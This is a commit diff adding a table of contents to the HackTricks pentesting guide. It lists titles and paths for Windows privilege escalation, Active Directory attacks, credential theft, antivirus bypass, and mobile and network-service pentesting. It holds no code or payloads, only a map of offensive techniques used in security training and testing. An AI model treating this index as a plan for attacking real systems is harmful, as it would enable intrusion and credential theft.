mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
f
This commit is contained in:
parent
466ebcbb16
commit
63bd9641c0
463 changed files with 86574 additions and 0 deletions
479
SUMMARY.md
479
SUMMARY.md
|
@ -232,3 +232,482 @@
|
|||
* [Stealing Sensitive Information Disclosure from a Web](stealing-sensitive-information-disclosure-from-a-web.md)
|
||||
* [Post Exploitation](post-exploitation.md)
|
||||
* [Cookies Policy](todo/cookies-policy.md)
|
||||
|
||||
## 🪟 Windows Hardening
|
||||
|
||||
* [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
|
||||
* [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
|
||||
* [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md)
|
||||
* [Abuse SeLoadDriverPrivilege](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/abuse-seloaddriverprivilege.md)
|
||||
* [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
|
||||
* [ACLs - DACLs/SACLs/ACEs](windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md)
|
||||
* [AppendData/AddSubdirectory permission over service registry](windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md)
|
||||
* [Create MSI with WIX](windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md)
|
||||
* [COM Hijacking](windows-hardening/windows-local-privilege-escalation/com-hijacking.md)
|
||||
* [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
|
||||
* [Writable Sys Path +Dll Hijacking Privesc](windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md)
|
||||
* [DPAPI - Extracting Passwords](windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md)
|
||||
* [From High Integrity to SYSTEM with Name Pipes](windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md)
|
||||
* [Integrity Levels](windows-hardening/windows-local-privilege-escalation/integrity-levels.md)
|
||||
* [JAWS](windows-hardening/windows-local-privilege-escalation/jaws.md)
|
||||
* [JuicyPotato](windows-hardening/windows-local-privilege-escalation/juicypotato.md)
|
||||
* [Leaked Handle Exploitation](windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md)
|
||||
* [MSI Wrapper](windows-hardening/windows-local-privilege-escalation/msi-wrapper.md)
|
||||
* [Named Pipe Client Impersonation](windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md)
|
||||
* [PowerUp](windows-hardening/windows-local-privilege-escalation/powerup.md)
|
||||
* [Privilege Escalation with Autoruns](windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md)
|
||||
* [RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato](windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md)
|
||||
* [RottenPotato](windows-hardening/windows-local-privilege-escalation/rottenpotato.md)
|
||||
* [Seatbelt](windows-hardening/windows-local-privilege-escalation/seatbelt.md)
|
||||
* [SeDebug + SeImpersonate copy token](windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md)
|
||||
* [SeImpersonate from High To System](windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md)
|
||||
* [Windows C Payloads](windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md)
|
||||
* [Active Directory Methodology](windows-hardening/active-directory-methodology/README.md)
|
||||
* [Abusing Active Directory ACLs/ACEs](windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md)
|
||||
* [Shadow Credentials](windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials.md)
|
||||
* [AD Certificates](windows-hardening/active-directory-methodology/ad-certificates.md)
|
||||
* [AD CS Account Persistence](windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md)
|
||||
* [AD CS Domain Escalation](windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md)
|
||||
* [AD CS Domain Persistence](windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md)
|
||||
* [AD CS Certificate Theft](windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md)
|
||||
* [AD information in printers](windows-hardening/active-directory-methodology/ad-information-in-printers.md)
|
||||
* [AD DNS Records](windows-hardening/active-directory-methodology/ad-dns-records.md)
|
||||
* [ASREPRoast](windows-hardening/active-directory-methodology/asreproast.md)
|
||||
* [BloodHound & Other AD Enum Tools](windows-hardening/active-directory-methodology/bloodhound.md)
|
||||
* [Constrained Delegation](windows-hardening/active-directory-methodology/constrained-delegation.md)
|
||||
* [Custom SSP](windows-hardening/active-directory-methodology/custom-ssp.md)
|
||||
* [DCShadow](windows-hardening/active-directory-methodology/dcshadow.md)
|
||||
* [DCSync](windows-hardening/active-directory-methodology/dcsync.md)
|
||||
* [Diamond Ticket](windows-hardening/active-directory-methodology/diamond-ticket.md)
|
||||
* [DSRM Credentials](windows-hardening/active-directory-methodology/dsrm-credentials.md)
|
||||
* [External Forest Domain - OneWay (Inbound) or bidirectional](windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md)
|
||||
* [External Forest Domain - One-Way (Outbound)](windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md)
|
||||
* [Golden Ticket](windows-hardening/active-directory-methodology/golden-ticket.md)
|
||||
* [Kerberoast](windows-hardening/active-directory-methodology/kerberoast.md)
|
||||
* [Kerberos Authentication](windows-hardening/active-directory-methodology/kerberos-authentication.md)
|
||||
* [Kerberos Double Hop Problem](windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md)
|
||||
* [LAPS](windows-hardening/active-directory-methodology/laps.md)
|
||||
* [MSSQL AD Abuse](windows-hardening/active-directory-methodology/abusing-ad-mssql.md)
|
||||
* [Over Pass the Hash/Pass the Key](windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md)
|
||||
* [Pass the Ticket](windows-hardening/active-directory-methodology/pass-the-ticket.md)
|
||||
* [Password Spraying](windows-hardening/active-directory-methodology/password-spraying.md)
|
||||
* [PrintNightmare](windows-hardening/active-directory-methodology/printnightmare.md)
|
||||
* [Force NTLM Privileged Authentication](windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md)
|
||||
* [Privileged Groups](windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md)
|
||||
* [RDP Sessions Abuse](windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
|
||||
* [Resource-based Constrained Delegation](windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md)
|
||||
* [Security Descriptors](windows-hardening/active-directory-methodology/security-descriptors.md)
|
||||
* [SID-History Injection](windows-hardening/active-directory-methodology/sid-history-injection.md)
|
||||
* [Silver Ticket](windows-hardening/active-directory-methodology/silver-ticket.md)
|
||||
* [Skeleton Key](windows-hardening/active-directory-methodology/skeleton-key.md)
|
||||
* [Unconstrained Delegation](windows-hardening/active-directory-methodology/unconstrained-delegation.md)
|
||||
* [Windows Security Controls](windows-hardening/authentication-credentials-uac-and-efs.md)
|
||||
* [UAC - User Account Control](windows-hardening/windows-security-controls/uac-user-account-control.md)
|
||||
* [NTLM](windows-hardening/ntlm/README.md)
|
||||
* [Places to steal NTLM creds](windows-hardening/ntlm/places-to-steal-ntlm-creds.md)
|
||||
* [Lateral Movement](windows-hardening/lateral-movement/README.md)
|
||||
* [AtExec / SchtasksExec](windows-hardening/ntlm/atexec.md)
|
||||
* [DCOM Exec](windows-hardening/lateral-movement/dcom-exec.md)
|
||||
* [PsExec/Winexec/ScExec](windows-hardening/ntlm/psexec-and-winexec.md)
|
||||
* [SmbExec/ScExec](windows-hardening/ntlm/smbexec.md)
|
||||
* [WinRM](windows-hardening/ntlm/winrm.md)
|
||||
* [WmicExec](windows-hardening/ntlm/wmicexec.md)
|
||||
* [Pivoting to the Cloud](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements)
|
||||
* [Stealing Windows Credentials](windows-hardening/stealing-credentials/README.md)
|
||||
* [Windows Credentials Protections](windows-hardening/stealing-credentials/credentials-protections.md)
|
||||
* [Mimikatz](windows-hardening/stealing-credentials/credentials-mimikatz.md)
|
||||
* [Basic Win CMD for Pentesters](windows-hardening/basic-cmd-for-pentesters.md)
|
||||
* [Basic PowerShell for Pentesters](windows-hardening/basic-powershell-for-pentesters/README.md)
|
||||
* [PowerView/SharpView](windows-hardening/basic-powershell-for-pentesters/powerview.md)
|
||||
* [Antivirus (AV) Bypass](windows-hardening/av-bypass.md)
|
||||
|
||||
## 📱 Mobile Pentesting
|
||||
|
||||
* [Android APK Checklist](mobile-pentesting/android-checklist.md)
|
||||
* [Android Applications Pentesting](mobile-pentesting/android-app-pentesting/README.md)
|
||||
* [Android Applications Basics](mobile-pentesting/android-app-pentesting/android-applications-basics.md)
|
||||
* [Android Task Hijacking](mobile-pentesting/android-app-pentesting/android-task-hijacking.md)
|
||||
* [ADB Commands](mobile-pentesting/android-app-pentesting/adb-commands.md)
|
||||
* [APK decompilers](mobile-pentesting/android-app-pentesting/apk-decompilers.md)
|
||||
* [AVD - Android Virtual Device](mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md)
|
||||
* [Burp Suite Configuration for Android](mobile-pentesting/android-app-pentesting/android-burp-suite-settings.md)
|
||||
* [Bypass Biometric Authentication (Android)](mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.md)
|
||||
* [content:// protocol](mobile-pentesting/android-app-pentesting/content-protocol.md)
|
||||
* [Drozer Tutorial](mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md)
|
||||
* [Exploiting Content Providers](mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md)
|
||||
* [Exploiting a debuggeable applciation](mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md)
|
||||
* [Frida Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/README.md)
|
||||
* [Frida Tutorial 1](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md)
|
||||
* [Frida Tutorial 2](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md)
|
||||
* [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md)
|
||||
* [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md)
|
||||
* [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md)
|
||||
* [Inspeckage Tutorial](mobile-pentesting/android-app-pentesting/inspeckage-tutorial.md)
|
||||
* [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md)
|
||||
* [Make APK Accept CA Certificate](mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md)
|
||||
* [Manual DeObfuscation](mobile-pentesting/android-app-pentesting/manual-deobfuscation.md)
|
||||
* [React Native Application](mobile-pentesting/android-app-pentesting/react-native-application.md)
|
||||
* [Reversing Native Libraries](mobile-pentesting/android-app-pentesting/reversing-native-libraries.md)
|
||||
* [Smali - Decompiling/\[Modifying\]/Compiling](mobile-pentesting/android-app-pentesting/smali-changes.md)
|
||||
* [Spoofing your location in Play Store](mobile-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md)
|
||||
* [Webview Attacks](mobile-pentesting/android-app-pentesting/webview-attacks.md)
|
||||
* [iOS Pentesting Checklist](mobile-pentesting/ios-pentesting-checklist.md)
|
||||
* [iOS Pentesting](mobile-pentesting/ios-pentesting/README.md)
|
||||
* [Basic iOS Testing Operations](mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md)
|
||||
* [Burp Suite Configuration for iOS](mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md)
|
||||
* [Extracting Entitlements From Compiled Application](mobile-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md)
|
||||
* [Frida Configuration in iOS](mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md)
|
||||
* [iOS App Extensions](mobile-pentesting/ios-pentesting/ios-app-extensions.md)
|
||||
* [iOS Basics](mobile-pentesting/ios-pentesting/ios-basics.md)
|
||||
* [iOS Custom URI Handlers / Deeplinks / Custom Schemes](mobile-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md)
|
||||
* [iOS Hooking With Objection](mobile-pentesting/ios-pentesting/ios-hooking-with-objection.md)
|
||||
* [iOS Protocol Handlers](mobile-pentesting/ios-pentesting/ios-protocol-handlers.md)
|
||||
* [iOS Serialisation and Encoding](mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.md)
|
||||
* [iOS Testing Environment](mobile-pentesting/ios-pentesting/ios-testing-environment.md)
|
||||
* [iOS UIActivity Sharing](mobile-pentesting/ios-pentesting/ios-uiactivity-sharing.md)
|
||||
* [iOS Universal Links](mobile-pentesting/ios-pentesting/ios-universal-links.md)
|
||||
* [iOS UIPasteboard](mobile-pentesting/ios-pentesting/ios-uipasteboard.md)
|
||||
* [iOS WebViews](mobile-pentesting/ios-pentesting/ios-webviews.md)
|
||||
|
||||
## 👽 Network Services Pentesting
|
||||
|
||||
* [Pentesting JDWP - Java Debug Wire Protocol](network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md)
|
||||
* [Pentesting Printers](network-services-pentesting/pentesting-printers/README.md)
|
||||
* [Accounting bypass](network-services-pentesting/pentesting-printers/accounting-bypass.md)
|
||||
* [Buffer Overflows](network-services-pentesting/pentesting-printers/buffer-overflows.md)
|
||||
* [Credentials Disclosure / Brute-Force](network-services-pentesting/pentesting-printers/credentials-disclosure-brute-force.md)
|
||||
* [Cross-Site Printing](network-services-pentesting/pentesting-printers/cross-site-printing.md)
|
||||
* [Document Processing](network-services-pentesting/pentesting-printers/document-processing.md)
|
||||
* [Factory Defaults](network-services-pentesting/pentesting-printers/factory-defaults.md)
|
||||
* [File system access](network-services-pentesting/pentesting-printers/file-system-access.md)
|
||||
* [Firmware updates](network-services-pentesting/pentesting-printers/firmware-updates.md)
|
||||
* [Memory Access](network-services-pentesting/pentesting-printers/memory-access.md)
|
||||
* [Physical Damage](network-services-pentesting/pentesting-printers/physical-damage.md)
|
||||
* [Software packages](network-services-pentesting/pentesting-printers/software-packages.md)
|
||||
* [Transmission channel](network-services-pentesting/pentesting-printers/transmission-channel.md)
|
||||
* [Print job manipulation](network-services-pentesting/pentesting-printers/print-job-manipulation.md)
|
||||
* [Print Job Retention](network-services-pentesting/pentesting-printers/print-job-retention.md)
|
||||
* [Scanner and Fax](network-services-pentesting/pentesting-printers/scanner-and-fax.md)
|
||||
* [Pentesting SAP](network-services-pentesting/pentesting-sap.md)
|
||||
* [Pentesting VoIP](network-services-pentesting/pentesting-voip/README.md)
|
||||
* [Basic VoIP Protocols](network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md)
|
||||
* [SIP (Session Initiation Protocol)](network-services-pentesting/pentesting-voip/basic-voip-protocols/sip-session-initiation-protocol.md)
|
||||
* [Pentesting Remote GdbServer](network-services-pentesting/pentesting-remote-gdbserver.md)
|
||||
* [7/tcp/udp - Pentesting Echo](network-services-pentesting/7-tcp-udp-pentesting-echo.md)
|
||||
* [21 - Pentesting FTP](network-services-pentesting/pentesting-ftp/README.md)
|
||||
* [FTP Bounce attack - Scan](network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md)
|
||||
* [FTP Bounce - Download 2ºFTP file](network-services-pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.md)
|
||||
* [22 - Pentesting SSH/SFTP](network-services-pentesting/pentesting-ssh.md)
|
||||
* [23 - Pentesting Telnet](network-services-pentesting/pentesting-telnet.md)
|
||||
* [25,465,587 - Pentesting SMTP/s](network-services-pentesting/pentesting-smtp/README.md)
|
||||
* [SMTP - Commands](network-services-pentesting/pentesting-smtp/smtp-commands.md)
|
||||
* [43 - Pentesting WHOIS](network-services-pentesting/43-pentesting-whois.md)
|
||||
* [49 - Pentesting TACACS+](network-services-pentesting/49-pentesting-tacacs+.md)
|
||||
* [53 - Pentesting DNS](network-services-pentesting/pentesting-dns.md)
|
||||
* [69/UDP TFTP/Bittorrent-tracker](network-services-pentesting/69-udp-tftp.md)
|
||||
* [79 - Pentesting Finger](network-services-pentesting/pentesting-finger.md)
|
||||
* [80,443 - Pentesting Web Methodology](network-services-pentesting/pentesting-web/README.md)
|
||||
* [403 & 401 Bypasses](network-services-pentesting/pentesting-web/403-and-401-bypasses.md)
|
||||
* [AEM - Adobe Experience Cloud](network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md)
|
||||
* [Apache](network-services-pentesting/pentesting-web/apache.md)
|
||||
* [Artifactory Hacking guide](network-services-pentesting/pentesting-web/artifactory-hacking-guide.md)
|
||||
* [Bolt CMS](network-services-pentesting/pentesting-web/bolt-cms.md)
|
||||
* [Buckets](network-services-pentesting/pentesting-web/buckets/README.md)
|
||||
* [Firebase Database](network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
* [CGI](network-services-pentesting/pentesting-web/cgi.md)
|
||||
* [Code Review Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
|
||||
* [DotNetNuke (DNN)](network-services-pentesting/pentesting-web/dotnetnuke-dnn.md)
|
||||
* [Drupal](network-services-pentesting/pentesting-web/drupal.md)
|
||||
* [Flask](network-services-pentesting/pentesting-web/flask.md)
|
||||
* [NodeJS Express](network-services-pentesting/pentesting-web/nodejs-express.md)
|
||||
* [Git](network-services-pentesting/pentesting-web/git.md)
|
||||
* [Golang](network-services-pentesting/pentesting-web/golang.md)
|
||||
* [Grafana](network-services-pentesting/pentesting-web/grafana.md)
|
||||
* [GraphQL](network-services-pentesting/pentesting-web/graphql.md)
|
||||
* [H2 - Java SQL database](network-services-pentesting/pentesting-web/h2-java-sql-database.md)
|
||||
* [IIS - Internet Information Services](network-services-pentesting/pentesting-web/iis-internet-information-services.md)
|
||||
* [ImageMagick Security](network-services-pentesting/pentesting-web/imagemagick-security.md)
|
||||
* [JBOSS](network-services-pentesting/pentesting-web/jboss.md)
|
||||
* [JIRA](network-services-pentesting/pentesting-web/jira.md)
|
||||
* [Joomla](network-services-pentesting/pentesting-web/joomla.md)
|
||||
* [JSP](network-services-pentesting/pentesting-web/jsp.md)
|
||||
* [Laravel](network-services-pentesting/pentesting-web/laravel.md)
|
||||
* [Moodle](network-services-pentesting/pentesting-web/moodle.md)
|
||||
* [Nginx](network-services-pentesting/pentesting-web/nginx.md)
|
||||
* [PHP Tricks](network-services-pentesting/pentesting-web/php-tricks-esp/README.md)
|
||||
* [PHP - Useful Functions & disable\_functions/open\_basedir bypass](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/README.md)
|
||||
* [disable\_functions bypass - php-fpm/FastCGI](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-fpm-fastcgi.md)
|
||||
* [disable\_functions bypass - dl function](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-dl-function.md)
|
||||
* [disable\_functions bypass - PHP 7.0-7.4 (\*nix only)](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-7.0-7.4-nix-only.md)
|
||||
* [disable\_functions bypass - Imagick <= 3.3.0 PHP >= 5.4 Exploit](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md)
|
||||
* [disable\_functions - PHP 5.x Shellshock Exploit](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-php-5.x-shellshock-exploit.md)
|
||||
* [disable\_functions - PHP 5.2.4 ionCube extension Exploit](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-php-5.2.4-ioncube-extension-exploit.md)
|
||||
* [disable\_functions bypass - PHP <= 5.2.9 on windows](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-less-than-5.2.9-on-windows.md)
|
||||
* [disable\_functions bypass - PHP 5.2.4 and 5.2.5 PHP cURL](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-5.2.4-and-5.2.5-php-curl.md)
|
||||
* [disable\_functions bypass - PHP safe\_mode bypass via proc\_open() and custom environment Exploit](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-safe\_mode-bypass-via-proc\_open-and-custom-environment-exploit.md)
|
||||
* [disable\_functions bypass - PHP Perl Extension Safe\_mode Bypass Exploit](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-perl-extension-safe\_mode-bypass-exploit.md)
|
||||
* [disable\_functions bypass - PHP 5.2.3 - Win32std ext Protections Bypass](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md)
|
||||
* [disable\_functions bypass - PHP 5.2 - FOpen Exploit](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-5.2-fopen-exploit.md)
|
||||
* [disable\_functions bypass - via mem](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-via-mem.md)
|
||||
* [disable\_functions bypass - mod\_cgi](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-mod\_cgi.md)
|
||||
* [disable\_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl\_exec](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl\_exec.md)
|
||||
* [PHP - RCE abusing object creation: new $\_GET\["a"\]($\_GET\["b"\])](network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
|
||||
* [PHP SSRF](network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md)
|
||||
* [Python](network-services-pentesting/pentesting-web/python.md)
|
||||
* [Rocket Chat](network-services-pentesting/pentesting-web/rocket-chat.md)
|
||||
* [Special HTTP headers](network-services-pentesting/pentesting-web/special-http-headers.md)
|
||||
* [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md)
|
||||
* [Symfony](network-services-pentesting/pentesting-web/symphony.md)
|
||||
* [Tomcat](network-services-pentesting/pentesting-web/tomcat.md)
|
||||
* [Basic Tomcat Info](network-services-pentesting/pentesting-web/tomcat/basic-tomcat-info.md)
|
||||
* [Uncovering CloudFlare](network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
|
||||
* [VMWare (ESX, VCenter...)](network-services-pentesting/pentesting-web/vmware-esx-vcenter....md)
|
||||
* [WAF Bypass](network-services-pentesting/pentesting-web/waf-bypass.md)
|
||||
* [Web API Pentesting](network-services-pentesting/pentesting-web/web-api-pentesting.md)
|
||||
* [WebDav](network-services-pentesting/pentesting-web/put-method-webdav.md)
|
||||
* [Werkzeug / Flask Debug](network-services-pentesting/pentesting-web/werkzeug.md)
|
||||
* [Wordpress](network-services-pentesting/pentesting-web/wordpress.md)
|
||||
* [XSS to RCE Electron Desktop Apps](network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/README.md)
|
||||
* [Electron contextIsolation RCE via preload code](network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md)
|
||||
* [Electron contextIsolation RCE via Electron internal code](network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md)
|
||||
* [Electron contextIsolation RCE via IPC](network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-ipc.md)
|
||||
* [88tcp/udp - Pentesting Kerberos](network-services-pentesting/pentesting-kerberos-88/README.md)
|
||||
* [Harvesting tickets from Windows](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md)
|
||||
* [Harvesting tickets from Linux](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md)
|
||||
* [110,995 - Pentesting POP](network-services-pentesting/pentesting-pop.md)
|
||||
* [111/TCP/UDP - Pentesting Portmapper](network-services-pentesting/pentesting-rpcbind.md)
|
||||
* [113 - Pentesting Ident](network-services-pentesting/113-pentesting-ident.md)
|
||||
* [123/udp - Pentesting NTP](network-services-pentesting/pentesting-ntp.md)
|
||||
* [135, 593 - Pentesting MSRPC](network-services-pentesting/135-pentesting-msrpc.md)
|
||||
* [137,138,139 - Pentesting NetBios](network-services-pentesting/137-138-139-pentesting-netbios.md)
|
||||
* [139,445 - Pentesting SMB](network-services-pentesting/pentesting-smb.md)
|
||||
* [rpcclient enumeration](network-services-pentesting/pentesting-smb/rpcclient-enumeration.md)
|
||||
* [143,993 - Pentesting IMAP](network-services-pentesting/pentesting-imap.md)
|
||||
* [161,162,10161,10162/udp - Pentesting SNMP](network-services-pentesting/pentesting-snmp/README.md)
|
||||
* [Cisco SNMP](network-services-pentesting/pentesting-snmp/cisco-snmp.md)
|
||||
* [SNMP RCE](network-services-pentesting/pentesting-snmp/snmp-rce.md)
|
||||
* [194,6667,6660-7000 - Pentesting IRC](network-services-pentesting/pentesting-irc.md)
|
||||
* [264 - Pentesting Check Point FireWall-1](network-services-pentesting/pentesting-264-check-point-firewall-1.md)
|
||||
* [389, 636, 3268, 3269 - Pentesting LDAP](network-services-pentesting/pentesting-ldap.md)
|
||||
* [500/udp - Pentesting IPsec/IKE VPN](network-services-pentesting/ipsec-ike-vpn-pentesting.md)
|
||||
* [502 - Pentesting Modbus](network-services-pentesting/pentesting-modbus.md)
|
||||
* [512 - Pentesting Rexec](network-services-pentesting/512-pentesting-rexec.md)
|
||||
* [513 - Pentesting Rlogin](network-services-pentesting/pentesting-rlogin.md)
|
||||
* [514 - Pentesting Rsh](network-services-pentesting/pentesting-rsh.md)
|
||||
* [515 - Pentesting Line Printer Daemon (LPD)](network-services-pentesting/515-pentesting-line-printer-daemon-lpd.md)
|
||||
* [548 - Pentesting Apple Filing Protocol (AFP)](network-services-pentesting/584-pentesting-afp.md)
|
||||
* [554,8554 - Pentesting RTSP](network-services-pentesting/554-8554-pentesting-rtsp.md)
|
||||
* [623/UDP/TCP - IPMI](network-services-pentesting/623-udp-ipmi.md)
|
||||
* [631 - Internet Printing Protocol(IPP)](network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md)
|
||||
* [873 - Pentesting Rsync](network-services-pentesting/873-pentesting-rsync.md)
|
||||
* [1026 - Pentesting Rusersd](network-services-pentesting/1026-pentesting-rusersd.md)
|
||||
* [1080 - Pentesting Socks](network-services-pentesting/1080-pentesting-socks.md)
|
||||
* [1098/1099/1050 - Pentesting Java RMI - RMI-IIOP](network-services-pentesting/1099-pentesting-java-rmi.md)
|
||||
* [1433 - Pentesting MSSQL - Microsoft SQL Server](network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md)
|
||||
* [Types of MSSQL Users](network-services-pentesting/pentesting-mssql-microsoft-sql-server/types-of-mssql-users.md)
|
||||
* [1521,1522-1529 - Pentesting Oracle TNS Listener](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md)
|
||||
* [Oracle Pentesting requirements installation](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md)
|
||||
* [TNS Poison](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/tns-poison.md)
|
||||
* [Remote stealth pass brute force](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md)
|
||||
* [Oracle RCE & more](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-rce-and-more.md)
|
||||
* [1723 - Pentesting PPTP](network-services-pentesting/1723-pentesting-pptp.md)
|
||||
* [1883 - Pentesting MQTT (Mosquitto)](network-services-pentesting/1883-pentesting-mqtt-mosquitto.md)
|
||||
* [2049 - Pentesting NFS Service](network-services-pentesting/nfs-service-pentesting.md)
|
||||
* [2301,2381 - Pentesting Compaq/HP Insight Manager](network-services-pentesting/pentesting-compaq-hp-insight-manager.md)
|
||||
* [2375, 2376 Pentesting Docker](network-services-pentesting/2375-pentesting-docker.md)
|
||||
* [3128 - Pentesting Squid](network-services-pentesting/3128-pentesting-squid.md)
|
||||
* [3260 - Pentesting ISCSI](network-services-pentesting/3260-pentesting-iscsi.md)
|
||||
* [3299 - Pentesting SAPRouter](network-services-pentesting/3299-pentesting-saprouter.md)
|
||||
* [3306 - Pentesting Mysql](network-services-pentesting/pentesting-mysql.md)
|
||||
* [3389 - Pentesting RDP](network-services-pentesting/pentesting-rdp.md)
|
||||
* [3632 - Pentesting distcc](network-services-pentesting/3632-pentesting-distcc.md)
|
||||
* [3690 - Pentesting Subversion (svn server)](network-services-pentesting/3690-pentesting-subversion-svn-server.md)
|
||||
* [3702/UDP - Pentesting WS-Discovery](network-services-pentesting/3702-udp-pentesting-ws-discovery.md)
|
||||
